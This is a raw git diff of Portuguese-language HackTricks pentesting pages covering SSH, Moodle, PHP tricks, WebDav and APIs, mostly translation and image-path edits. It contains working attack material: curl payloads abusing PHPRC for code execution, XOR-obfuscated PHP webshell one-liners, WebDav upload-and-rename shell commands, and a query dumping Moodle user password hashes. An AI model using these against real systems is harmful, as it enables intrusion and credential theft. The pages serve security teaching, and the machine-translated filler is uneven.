Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -168,7 +168,7 @@ Para mais informações, execute `crackmapexec ssh --help`.
|
|||
|
||||
## SSH-MitM
|
||||
|
||||
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você pode tentar **realizar um ataque MitM para roubar essas credenciais:**
|
||||
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você pode tentar **realizar um ataque MitM para roubar essas credenciais**:
|
||||
|
||||
**Caminho do ataque:**
|
||||
|
||||
|
@ -195,7 +195,7 @@ Por padrão, a maioria das implementações de servidor SSH permitirá o login d
|
|||
|
||||
### Execução de comandos SFTP
|
||||
|
||||
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Portanto, eles pensam que criar um usuário, atribuir a ele um shell reservado (como `/usr/bin/nologin` ou `/usr/bin/false`) e restringi-lo em uma prisão é suficiente para evitar o acesso ou abuso de shell em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode solicitar a execução de um comando logo após a autenticação antes que seu comando ou shell padrão seja executado**. Portanto, para ignorar o shell reservado que negará o acesso ao shell, basta solicitar a execução de um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
|
||||
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Portanto, eles pensam que criar um usuário, atribuir a ele um shell reservado (como `/usr/bin/nologin` ou `/usr/bin/false`) e restringi-lo em uma prisão é suficiente para evitar o acesso ou abuso de shell em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode solicitar a execução de um comando logo após a autenticação antes que seu comando ou shell padrão seja executado**. Portanto, para contornar o shell reservado que negará o acesso ao shell, basta solicitar a execução de um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
|
||||
```
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
|
@ -298,13 +298,13 @@ id_rsa
|
|||
* Você pode encontrar guias interessantes sobre como fortalecer o SSH em [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## HackTricks Comandos Automáticos
|
||||
## Comandos Automáticos HackTricks
|
||||
```
|
||||
Protocol_Name: SSH
|
||||
Port_Number: 22
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -38,7 +38,7 @@ Você pode expor **servlets de gerenciamento** através dos seguintes caminhos d
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -51,9 +51,7 @@ Para usar o `moodlescan`, basta executar o comando seguido pelo URL da instalaç
|
|||
moodlescan https://example.com/moodle
|
||||
```
|
||||
|
||||
O `moodlescan` irá então iniciar a varredura e exibir os resultados na tela. É importante ressaltar que essa ferramenta deve ser usada apenas em ambientes autorizados e com permissão do proprietário do sistema. O uso indevido do `moodlescan` pode ser considerado ilegal e resultar em consequências legais.
|
||||
|
||||
Em resumo, o `moodlescan` é uma ferramenta poderosa para testar a segurança de instalações do Moodle e identificar possíveis vulnerabilidades.
|
||||
O `moodlescan` irá então iniciar a varredura e exibir os resultados na tela. É importante ressaltar que essa ferramenta deve ser usada apenas em ambientes autorizados, como parte de um teste de penetração legítimo. O uso indevido ou não autorizado do `moodlescan` pode ser considerado ilegal e sujeito a penalidades.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -116,11 +114,11 @@ Durante um teste de penetração em um site Moodle, uma etapa importante é enco
|
|||
|
||||
Uma maneira comum de encontrar as credenciais do banco de dados é explorar o código-fonte do site Moodle. Procure por arquivos como `config.php` ou `config-dist.php`, que geralmente contêm as informações de conexão com o banco de dados.
|
||||
|
||||
Outra abordagem é realizar uma análise de tráfego usando ferramentas como o Wireshark. Monitore o tráfego de rede enquanto realiza ações no site Moodle, como fazer login ou acessar páginas específicas. Procure por pacotes que contenham informações de conexão com o banco de dados, como consultas SQL ou solicitações de autenticação.
|
||||
Outra abordagem é realizar uma análise de tráfego usando ferramentas como o Wireshark. Monitore o tráfego de rede enquanto realiza ações no site Moodle, como fazer login ou acessar páginas específicas. Procure por pacotes que contenham informações de conexão com o banco de dados, como consultas SQL ou solicitações POST.
|
||||
|
||||
Além disso, você pode tentar explorar vulnerabilidades conhecidas no Moodle que possam expor as credenciais do banco de dados. Verifique se há versões desatualizadas ou vulnerabilidades conhecidas que possam ser exploradas para obter acesso às informações do banco de dados.
|
||||
|
||||
Ao encontrar as credenciais do banco de dados, anote-as cuidadosamente para uso posterior durante o teste de penetração. Essas informações permitirão que você acesse o banco de dados do Moodle e execute consultas ou manipule os dados armazenados nele.
|
||||
Uma vez que você tenha as credenciais do banco de dados, poderá usá-las para acessar diretamente o banco de dados do Moodle e realizar atividades como extração de dados, modificação de registros ou até mesmo a exclusão de informações sensíveis. No entanto, é importante lembrar que realizar essas ações sem permissão é ilegal e pode ter consequências legais graves. Portanto, sempre realize testes de penetração em um ambiente controlado e com permissão prévia do proprietário do site.
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
|
@ -128,31 +126,21 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
|||
|
||||
To dump credentials from a database, you can follow these steps:
|
||||
|
||||
1. Identify the target database: Determine the type of database being used, such as MySQL, PostgreSQL, or Oracle.
|
||||
1. Identify the target database: Determine the type of database being used by the web application. Common databases include MySQL, PostgreSQL, Oracle, and Microsoft SQL Server.
|
||||
|
||||
2. Enumerate the database: Use tools like Nmap or SQLMap to identify the database server and its version.
|
||||
2. Enumerate database users: Use techniques such as SQL injection or brute-forcing to identify the database users.
|
||||
|
||||
3. Exploit vulnerabilities: Exploit any known vulnerabilities in the database server or its associated web application to gain unauthorized access.
|
||||
3. Exploit database vulnerabilities: Exploit any known vulnerabilities in the database to gain unauthorized access. This could include exploiting weak passwords, default credentials, or unpatched vulnerabilities.
|
||||
|
||||
4. Gain database access: Once you have gained access to the database server, you can use various techniques to extract credentials. These techniques may include:
|
||||
4. Dump the credentials: Once access to the database is obtained, use SQL queries or tools like `mysqldump` or `pg_dump` to extract the credentials from the database tables.
|
||||
|
||||
- Dumping the user table: Retrieve the usernames and hashed passwords from the user table.
|
||||
|
||||
- Extracting configuration files: Look for configuration files that may contain credentials, such as database connection strings or API keys.
|
||||
|
||||
- Exploiting weak encryption: If the passwords are stored using weak encryption algorithms, you can attempt to decrypt them.
|
||||
|
||||
- Exploiting SQL injection: If the web application is vulnerable to SQL injection, you can execute queries to extract credentials from the database.
|
||||
|
||||
- Brute-forcing credentials: Use tools like Hydra or Medusa to perform brute-force attacks and guess weak passwords.
|
||||
5. Analyze the dumped data: Review the dumped data to identify usernames, passwords, and other relevant credentials. This information can be used for further exploitation or to gain unauthorized access to other systems.
|
||||
|
||||
5. Analyze the extracted credentials: Once you have extracted the credentials, analyze them to determine their validity and potential impact.
|
||||
|
||||
It is important to note that extracting credentials from a database without proper authorization is illegal and unethical. These techniques should only be used for legitimate purposes, such as penetration testing or securing your own systems. Always ensure you have proper authorization and follow ethical guidelines when performing any security assessments.
|
||||
It is important to note that extracting credentials from a database without proper authorization is illegal and unethical. These techniques should only be used in a controlled and authorized environment, such as during a penetration test or with explicit permission from the system owner.
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -112,17 +112,7 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
|
|||
```
|
||||
De: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
||||
|
||||
### Type Juggling para ofuscação em PHP
|
||||
|
||||
Type juggling é uma técnica usada para ofuscar código PHP, tornando-o mais difícil de ser lido e compreendido. Nessa técnica, aproveita-se da forma como o PHP trata diferentes tipos de dados para realizar operações inesperadas.
|
||||
|
||||
O PHP é uma linguagem fracamente tipada, o que significa que não é necessário declarar explicitamente o tipo de uma variável. Isso permite que o PHP faça conversões automáticas de tipos de dados, o que pode ser explorado para criar comportamentos inesperados.
|
||||
|
||||
Um exemplo comum de type juggling é quando se compara uma string com um número. O PHP tentará converter a string em um número antes de realizar a comparação. Isso pode levar a resultados inesperados, como uma comparação entre uma string vazia e o número zero retornando verdadeiro.
|
||||
|
||||
Para aproveitar o type juggling, um atacante pode criar uma string que, quando convertida em um número, tenha um valor específico. Isso pode ser usado para contornar verificações de autenticação, por exemplo.
|
||||
|
||||
É importante estar ciente dessa técnica ao analisar código PHP, pois ela pode ser usada para ocultar intenções maliciosas.
|
||||
### Tipos de Juggling para ofuscação em PHP
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
|
@ -248,11 +238,17 @@ Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wire
|
|||
Se você encontrar uma vulnerabilidade que permita **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você pode abusar desse comportamento para obter **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Essa variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
|
||||
* **`PHPRC`** : Instrui o PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém **código PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
|
||||
* **`PHPRC`** : Instrui o PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém código PHP normal, que é então executado pelo tempo de execução do PHP antes de qualquer outro código.
|
||||
1. Faça upload de um arquivo PHP contendo nosso código de shell
|
||||
2. Faça upload de um segundo arquivo, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o arquivo que enviamos no passo 1
|
||||
3.  Defina a variável `PHPRC` para o arquivo que enviamos no passo 2.
|
||||
* Obtenha mais informações sobre como executar essa cadeia [**no relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - outra opção
|
||||
* Se você **não pode fazer upload de arquivos**, você pode usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Ou para obter RCE, habilite **`allow_url_include`** e adicione um arquivo com **código PHP em base64**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Técnica [**desse relatório**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
## Análise Estática do PHP
|
||||
|
||||
|
@ -292,7 +288,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
|
||||
Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a seguinte página para aprender como:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
@ -325,16 +321,16 @@ echo $resultado; // Saída: 15
|
|||
|
||||
Neste exemplo, o operador XOR é usado para realizar uma operação de bit a bit entre os valores das variáveis `$valor1` e `$valor2`. O resultado é armazenado na variável `$resultado` e, em seguida, é exibido na tela.
|
||||
|
||||
O operador XOR é uma ferramenta poderosa que pode ser usada em várias situações, desde criptografia até manipulação de bits. É importante entender como usar corretamente o operador XOR para aproveitar ao máximo suas capacidades.
|
||||
O operador XOR é uma ferramenta poderosa que pode ser usada em várias situações de programação. No entanto, é importante usá-lo com cuidado e entender completamente como ele funciona para evitar erros e comportamentos inesperados.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### Código shell XOR fácil
|
||||
### Código de shell XOR fácil
|
||||
|
||||
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil da seguinte maneira:
|
||||
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código de shell fácil desta maneira:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -374,27 +370,27 @@ lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the
|
|||
|
||||
O PHP é uma linguagem de programação que possui muitas semelhanças com a linguagem Perl. Essas semelhanças permitem que os desenvolvedores usem técnicas semelhantes ao programar em PHP. Neste diretório, você encontrará várias dicas e truques para aproveitar ao máximo essas semelhanças e escrever código PHP de forma mais eficiente e concisa.
|
||||
|
||||
#### Manipulação de strings
|
||||
#### Expressões Regulares
|
||||
|
||||
Assim como Perl, o PHP oferece uma ampla gama de funções para manipulação de strings. Você pode usar expressões regulares, substituições de padrões e várias funções de manipulação de strings para realizar tarefas complexas de forma rápida e eficiente.
|
||||
As expressões regulares são uma parte importante da programação Perl e também podem ser usadas em PHP. Elas são úteis para realizar correspondências de padrões em strings e realizar manipulações de texto avançadas. O PHP oferece suporte a expressões regulares por meio da função `preg_match()` e outras funções relacionadas.
|
||||
|
||||
#### Arrays
|
||||
#### Manipulação de Strings
|
||||
|
||||
O PHP também possui recursos semelhantes ao Perl para trabalhar com arrays. Você pode usar funções como `push`, `pop`, `shift` e `unshift` para adicionar ou remover elementos de um array. Além disso, o PHP oferece várias funções de iteração e manipulação de arrays para facilitar o trabalho com conjuntos de dados.
|
||||
Assim como Perl, o PHP possui uma ampla gama de funções para manipulação de strings. Essas funções permitem que você faça coisas como dividir uma string em partes, substituir partes de uma string por outra, converter letras maiúsculas em minúsculas e vice-versa, entre outras manipulações de texto.
|
||||
|
||||
#### Expressões regulares
|
||||
#### Funções de Array
|
||||
|
||||
As expressões regulares são uma parte importante da programação Perl e também podem ser usadas no PHP. Você pode usar as funções `preg_match`, `preg_replace` e outras funções relacionadas para realizar correspondências de padrões e substituições em strings.
|
||||
O PHP também possui muitas funções de array que são semelhantes às encontradas em Perl. Essas funções permitem que você manipule arrays de forma eficiente, adicionando, removendo, ordenando e pesquisando elementos em um array.
|
||||
|
||||
#### Manipulação de arquivos
|
||||
#### Manipulação de Arquivos
|
||||
|
||||
Assim como Perl, o PHP oferece recursos poderosos para manipulação de arquivos. Você pode abrir, ler, gravar e fechar arquivos usando funções específicas do PHP. Além disso, o PHP também suporta manipulação de diretórios e permissões de arquivos.
|
||||
Assim como Perl, o PHP oferece recursos poderosos para manipulação de arquivos. Você pode abrir, ler, gravar e fechar arquivos usando funções específicas do PHP. Além disso, o PHP também oferece suporte a manipulação de diretórios, permitindo que você liste arquivos em um diretório e realize outras operações relacionadas a arquivos.
|
||||
|
||||
#### Outras funcionalidades
|
||||
#### Outras Características Perl-like
|
||||
|
||||
Além das semelhanças com Perl, o PHP possui muitos recursos exclusivos que o tornam uma linguagem de programação poderosa para desenvolvimento web. Você pode aproveitar recursos como manipulação de formulários, acesso a bancos de dados, criação de sessões e muito mais para criar aplicativos web dinâmicos e interativos.
|
||||
Além das características mencionadas acima, o PHP também possui outras funcionalidades que são semelhantes às encontradas em Perl. Isso inclui recursos como manipulação de datas e horas, manipulação de XML, suporte a sockets de rede e muito mais.
|
||||
|
||||
No diretório `php-tricks-esp`, você encontrará exemplos e dicas para aproveitar ao máximo as semelhanças entre o PHP e o Perl. Explore esses recursos e aprimore suas habilidades de programação em PHP.
|
||||
Ao aproveitar essas semelhanças com Perl, você pode escrever código PHP mais eficiente e conciso. Isso pode economizar tempo e esforço durante o desenvolvimento de aplicativos e scripts em PHP.
|
||||
```php
|
||||
<?php
|
||||
$_=[];
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# WebDav
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -22,10 +22,10 @@ Acesse hoje:
|
|||
|
||||
Um servidor **HTTP com WebDav** ativo é um servidor onde você provavelmente pode **atualizar, excluir, mover, copiar** arquivos. Às vezes, você precisa ter **credenciais válidas** (geralmente verifique com Autenticação Básica HTTP).
|
||||
|
||||
Você deve tentar **fazer upload** de algum **webshell** e **executá-lo** a partir do servidor web para assumir o controle do servidor.\
|
||||
Você deve tentar **fazer upload** de algum **webshell** e **executá-lo** a partir do servidor web para assumir o controle sobre o servidor.\
|
||||
Normalmente, para **conectar** a um servidor WebDav, você precisará de **credenciais válidas**: [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Autenticação Básica)_.
|
||||
|
||||
Outra configuração comum é **proibir o upload** de arquivos com **extensões** que serão **executadas** pelo servidor web, você deve verificar como **burlar isso**:
|
||||
Outra configuração comum é **proibir o upload** de arquivos com **extensões** que serão **executadas** pelo servidor web, você deve verificar como **burlar isso:**
|
||||
|
||||
* **Fazer upload** de arquivos com **extensões executáveis** (talvez não seja proibido).
|
||||
* **Fazer upload** de arquivos **sem extensões executáveis** (como .txt) e tentar **renomear** o arquivo (mover) com uma **extensão executável**.
|
||||
|
@ -64,23 +64,19 @@ WebDAV (Web Distributed Authoring and Versioning) é uma extensão do protocolo
|
|||
|
||||
### Exploiting PUT Requests
|
||||
|
||||
In some cases, the server may not properly validate or restrict the use of the PUT method, allowing an attacker to upload arbitrary files to the server. This can lead to various security issues, such as unauthorized access, code execution, or data leakage.
|
||||
In some cases, the server may not properly validate or restrict the use of the PUT method, allowing an attacker to upload arbitrary files to the server. This can be exploited to gain unauthorized access or to perform other malicious activities.
|
||||
|
||||
Em alguns casos, o servidor pode não validar corretamente ou restringir o uso do método PUT, permitindo que um atacante faça upload de arquivos arbitrários para o servidor. Isso pode levar a várias questões de segurança, como acesso não autorizado, execução de código ou vazamento de dados.
|
||||
Em alguns casos, o servidor pode não validar corretamente ou restringir o uso do método PUT, permitindo que um atacante faça upload de arquivos arbitrários para o servidor. Isso pode ser explorado para obter acesso não autorizado ou realizar outras atividades maliciosas.
|
||||
|
||||
To exploit this vulnerability, an attacker can send a specially crafted PUT request to the server, containing a malicious file payload. If the server does not properly validate the request, it will accept the file and store it on the server, making it accessible to other users.
|
||||
To exploit this vulnerability, an attacker can send a PUT request to the target server with a specially crafted payload. The payload can be a malicious file that, when executed on the server, allows the attacker to gain control over the system.
|
||||
|
||||
Para explorar essa vulnerabilidade, um atacante pode enviar um pedido PUT especialmente criado para o servidor, contendo um payload de arquivo malicioso. Se o servidor não validar corretamente o pedido, ele aceitará o arquivo e o armazenará no servidor, tornando-o acessível a outros usuários.
|
||||
Para explorar essa vulnerabilidade, um atacante pode enviar um pedido PUT para o servidor de destino com uma carga útil especialmente criada. A carga útil pode ser um arquivo malicioso que, quando executado no servidor, permite ao atacante obter controle sobre o sistema.
|
||||
|
||||
### Mitigation
|
||||
### Mitigating the Risk
|
||||
|
||||
To prevent exploitation of the PUT method, it is important to properly validate and restrict its usage on the server side. This can be done by implementing input validation and access control mechanisms.
|
||||
To mitigate the risk of exploitation through PUT requests, it is important to properly validate and restrict the use of the PUT method on the server. This can be done by implementing access controls, input validation, and file type restrictions.
|
||||
|
||||
Para evitar a exploração do método PUT, é importante validar corretamente e restringir seu uso no lado do servidor. Isso pode ser feito implementando mecanismos de validação de entrada e controle de acesso.
|
||||
|
||||
Additionally, it is recommended to use secure coding practices and keep software and systems up to date with the latest security patches to minimize the risk of vulnerabilities.
|
||||
|
||||
Além disso, é recomendado utilizar práticas de codificação seguras e manter o software e os sistemas atualizados com os últimos patches de segurança para minimizar o risco de vulnerabilidades.
|
||||
Para mitigar o risco de exploração por meio de pedidos PUT, é importante validar corretamente e restringir o uso do método PUT no servidor. Isso pode ser feito implementando controles de acesso, validação de entrada e restrições de tipo de arquivo.
|
||||
```
|
||||
curl -T 'shell.txt' 'http://$ip'
|
||||
```
|
||||
|
@ -112,7 +108,7 @@ Neste exemplo, o pedido `MOVE` é usado para mover o arquivo `document.txt` do d
|
|||
```
|
||||
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -124,7 +120,7 @@ Acesse hoje mesmo:
|
|||
|
||||
Essa vulnerabilidade é muito interessante. O **WebDav** não permite **fazer upload** ou **renomear** arquivos com a extensão **.asp**. Mas você pode **burlar** isso adicionando ao final do nome **";.txt"** e o arquivo será **executado** como se fosse um arquivo .asp (você também pode **usar ".html" em vez de ".txt"**, mas **NÃO esqueça do ";"**).
|
||||
|
||||
Então você pode **fazer upload** do seu shell como um arquivo ".**txt"** e **copiá-lo/movê-lo para um arquivo ".asp;.txt"**. Ao acessar esse arquivo através do servidor web, ele será **executado** (o cadaver dirá que a ação de movimento não funcionou, mas funcionou).
|
||||
Então você pode **fazer upload** do seu shell como um arquivo ".**txt"** e **copiá-lo/movê-lo para um arquivo ".asp;.txt"**. Ao acessar esse arquivo pelo servidor web, ele será **executado** (o cadaver dirá que a ação de movimento não funcionou, mas funcionou).
|
||||
|
||||
![](<../../.gitbook/assets/image (18) (1) (1).png>)
|
||||
|
||||
|
@ -162,7 +158,7 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -170,7 +166,7 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,10 +12,10 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -56,7 +56,7 @@ Sempre verifique a configuração [**CORS**](../../pentesting-web/cors-bypass.md
|
|||
|
||||
### Padrões
|
||||
|
||||
Procure por padrões de API dentro da API e tente usá-los para descobrir mais.\
|
||||
Procure por padrões de API dentro da API e tente usá-los para descobrir mais informações.\
|
||||
Se você encontrar _/api/albums/**\<album\_id>**/photos/**\<photo\_id>**_\*\* \*\* você também pode tentar coisas como _/api/**posts**/\<post\_id>/**comment**/_. Use algum fuzzer para descobrir esses novos endpoints.
|
||||
|
||||
### Adicionar parâmetros
|
||||
|
@ -66,7 +66,7 @@ _/api/MyPictureList → /api/MyPictureList?**user\_id=\<other\_user\_id>**_
|
